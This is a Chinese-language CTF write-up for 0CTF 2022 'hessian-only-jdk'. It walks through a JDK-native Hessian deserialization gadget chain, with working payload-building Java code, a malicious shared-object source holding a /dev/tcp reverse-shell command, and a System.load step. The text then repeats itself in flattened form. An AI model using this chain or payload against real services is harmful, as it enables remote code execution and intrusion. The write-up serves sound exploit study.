0ctf2022 hessian-only-jdk writeup jdk原生链
字数 1078 2025-08-26 22:11:35

Hessian反序列化漏洞利用:JDK原生链分析与实战

1. 背景与环境

  • 环境:Hessian 4.0.38 + JDK8u342
  • 特点:Hessian反序列化不需要类实现Serializable接口,只需设置SerializerFactory.setAllowNonSerializable(true)
  • 参考:XStream历史漏洞链可作为参考,特别是CVE-2021-21346

2. 漏洞利用链分析

2.1 原始XStream链分析

原始XStream利用链:

Rdn$RdnEntry#compareTo 
→ XString#equal 
→ MultiUIDefaults#toString 
→ UIDefaults#get 
→ UIDefaults#getFromHashTable 
→ UIDefaults$LazyValue#createValue 
→ SwingLazyValue#createValue 
→ InitialContext#doLookup()

问题MultiUIDefaults在Hessian反序列化时会抛出IllegalAccessException

2.2 替代类寻找

寻找替代MultiUIDefaults的类,需要满足:

  • 继承Hashtable
  • toString()方法调用Hashtable.get()

找到的替代类:java.awt.datatransfer.MimeTypeParameterList

关键代码:

public String toString() {
    Enumeration<String> keys = parameters.keys();
    while(keys.hasMoreElements()) {
        buffer.append("; ");
        String key = keys.nextElement();
        buffer.append(quote(parameters.get(key)));
        // ...
    }
}

2.3 Hessian触发点

触发点在Hessian2Input.expect方法:

protected IOException expect(String expect, int ch) throws IOException {
    try {
        Object obj = this.readObject();
        return obj != null ? 
            this.error("expected " + expect + " at 0x" + 
            Integer.toHexString(ch & 255) + " " + 
            obj.getClass().getName() + " " + obj + " " + context + "") 
            : this.error(...);
    }
    // ...
}

触发路径:

Hessian2Input.readObject case67 
→ readObjectDefinition((Class)null) 
→ throw expect("string", tag) 
→ expect()

3. 利用链构建

3.1 利用SwingLazyValue和ProxyLazyValue

SwingLazyValue.createValue可以获取并调用public static方法:

public Object createValue(UIDefaults table) {
    // ...
    Class<?> c = Class.forName(className, true, (ClassLoader)cl);
    Method m = c.getMethod(methodName, types);
    return MethodUtil.invoke(m, c, args);
}

限制:只能加载rt.jar中的类

3.2 ProxyLazyValue的优势

ProxyLazyValue.createValue可以获取ClassLoader:

public Object createValue(final UIDefaults table) {
    // ...
    if (table == null || !((cl = table.get("ClassLoader")) instanceof ClassLoader)) {
        cl = Thread.currentThread().getContextClassLoader();
        if (cl == null) {
            cl = ClassLoader.getSystemClassLoader();
        }
    }
    c = Class.forName(className, true, (ClassLoader)cl);
    // ...
}

注意:需要将acc字段通过反射设置为null以避免反序列化错误

4. 文件写入与执行

4.1 文件写入方法

原计划使用JavaUtils.writeBytesToFilename但被ban,改用:
jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode

4.2 动态链接库攻击

  1. 创建恶意.so文件:
#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__)) aasdnqwgasdela1 () {
    system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
    system("/bin/bash /tmp/1");
}

编译命令:

gcc -c a.c -o a && gcc a --share -o a.so
  1. 利用代码:
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);

Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";

UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(
    "jdk.nashorn.internal.codegen.DumpBytecode", 
    "dumpBytecode", 
    new Object[]{ script, debug, code, classname }
);
setFieldValue(proxyLazyValue,"acc",null);

UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);

Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);
  1. 加载执行:
SwingLazyValue swingLazyValue = new SwingLazyValue(
    "java.lang.System", 
    "load", 
    new Object[]{ "/tmp/asdxxxxxxx.class" }
);

5. 完整调用栈

dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

6. 关键点总结

  1. Hessian反序列化不需要Serializable接口
  2. 使用MimeTypeParameterList替代MultiUIDefaults
  3. 通过ProxyLazyValue绕过ClassLoader限制
  4. 使用DumpBytecode.dumpBytecode写入文件
  5. 通过System.load加载恶意动态链接库
  6. 注意acc字段需要设置为null
Hessian反序列化漏洞利用:JDK原生链分析与实战 1. 背景与环境 环境 :Hessian 4.0.38 + JDK8u342 特点 :Hessian反序列化不需要类实现Serializable接口,只需设置 SerializerFactory.setAllowNonSerializable(true) 参考 :XStream历史漏洞链可作为参考,特别是CVE-2021-21346 2. 漏洞利用链分析 2.1 原始XStream链分析 原始XStream利用链: 问题 : MultiUIDefaults 在Hessian反序列化时会抛出 IllegalAccessException 2.2 替代类寻找 寻找替代 MultiUIDefaults 的类,需要满足: 继承 Hashtable 有 toString() 方法调用 Hashtable.get() 找到的替代类: java.awt.datatransfer.MimeTypeParameterList 关键代码: 2.3 Hessian触发点 触发点在 Hessian2Input.expect 方法: 触发路径: 3. 利用链构建 3.1 利用SwingLazyValue和ProxyLazyValue SwingLazyValue.createValue 可以获取并调用public static方法: 限制 :只能加载rt.jar中的类 3.2 ProxyLazyValue的优势 ProxyLazyValue.createValue 可以获取ClassLoader: 注意 :需要将 acc 字段通过反射设置为null以避免反序列化错误 4. 文件写入与执行 4.1 文件写入方法 原计划使用 JavaUtils.writeBytesToFilename 但被ban,改用: jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 4.2 动态链接库攻击 创建恶意.so文件: 编译命令: 利用代码: 加载执行: 5. 完整调用栈 6. 关键点总结 Hessian反序列化不需要Serializable接口 使用 MimeTypeParameterList 替代 MultiUIDefaults 通过 ProxyLazyValue 绕过ClassLoader限制 使用 DumpBytecode.dumpBytecode 写入文件 通过 System.load 加载恶意动态链接库 注意 acc 字段需要设置为null